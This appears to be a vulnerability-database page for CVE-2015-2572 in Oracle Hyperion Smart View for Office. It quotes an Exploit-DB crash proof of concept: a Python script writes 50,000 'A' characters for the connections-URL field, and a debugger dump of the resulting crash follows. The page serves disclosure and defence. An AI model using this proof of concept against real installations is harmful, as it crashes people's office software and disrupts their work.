CVE-2015-2572

medium
Published 2015-04-16 · Modified 2026-05-06
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
5.6

Description

Unspecified vulnerability in the Oracle Hyperion Smart View for Office component in Oracle Hyperion 11.1.2.5.216 and earlier, when running on Windows, allows local users to affect confidentiality, integrity, and availability via unknown vectors related to Core.

Predictions

Exploit likelihood
20%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-36783 dos windows text · 3 KB
sajith · 2015-04-17

Oracle Hyperion Smart View for Office 11.1.2.3.000 - Crash (PoC)

text exploit Source: Exploit-DB
# Exploit Title: Buffer Overflow in Oracle� Hyperion Smart View for Office
[DOS]
# Exploit Author: sajith
# Vendor Homepage: http://oracle.com
# vulnerable Version: Fusion Edition 11.1.2.3.000 Build 157
#Vulnerable Link:
http://www.oracle.com/technetwork/middleware/smart-view-for-office/downloads/index.html
# Tested in: Microsoft Windows 7 Enterprise 6.1.7601 Service Pack 1
[x64],en-us
#plugin tested with Microsoft Excel 2010
#CVE: CVE-2015-2572

Responsible Disclosure:

Reported to Oracle on Jul 7, 2014
patch released on April 14, 2015

How to reproduce the bug?


1)install "Smart view" and open Microsoft excel and click on "smart view"
tab

2)click on "Options" and then click on "Advanced" tab

3) In General menu in "shared Connections URL" enter large value say 50000
"A"'s and press ok, the application crashes, the output of the crash
analyzed in debugger is shown below

Note:Plugin once installed automatically integrates with Microsoft office
products like,excel,Word,PowerPoint,Microsoft office.so the vulnerability
can be exploited via any of these products.

==================python script to create 50000 "A"'s============


try:

    print "POC by sajith shetty"

    f = open("text.txt","w")

    junk = "A" * 50000

    f.write(junk)

    print "done"

except Exception, e:

        print "error- " + str(e)


Debugger o/p:

eax=00410061 ebx=0041005d ecx=00410041 edx=00000000 esi=00410061
edi=0041005d
eip=779622d2 esp=0040b7f8 ebp=0040b80c iopl=0         nv up ei pl nz na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010206
ntdll!RtlEnterCriticalSection+0x12:
779622d2 f00fba3000      lock btr dword ptr [eax],0
ds:002b:00410061=????????

caused by MODULE_NAME: HsAddin


start    end        module name
0fb50000 111a0000   HsAddin    (export symbols)
C:\Oracle\SmartView\bin\HsAddin.dll
    Loaded symbol image file: C:\Oracle\SmartView\bin\HsAddin.dll
    Image path: C:\Oracle\SmartView\bin\HsAddin.dll
    Image name: HsAddin.dll
    Timestamp:        Wed Mar 27 04:27:50 2013 (515227EE)
    CheckSum:         0163F951
    ImageSize:        01650000
    File version:     11.1.2.3085
    Product version:  11.1.2.3085
    File flags:       0 (Mask 3F)
    File OS:          4 Unknown Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Oracle Corporation
    ProductName:      Oracle� Hyperion Smart View for Office, Fusion Edition
    InternalName:     CommonAddin
    ProductVersion:   11.1.2.3.000.157
    FileVersion:      11.1.2.3085
    FileDescription:  Oracle� Hyperion Smart View for Office, Fusion Edition
    LegalCopyright:   Copyright 2004, 2013 Oracle Corporation.  All rights
reserved
    LegalTrademarks:  Oracle� is registered.

Application impact

VendorProductVersionsFixed
oracle oraclehyperion_smart_view_for_office{"endIncluding":"11.1.2.5.216"}

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

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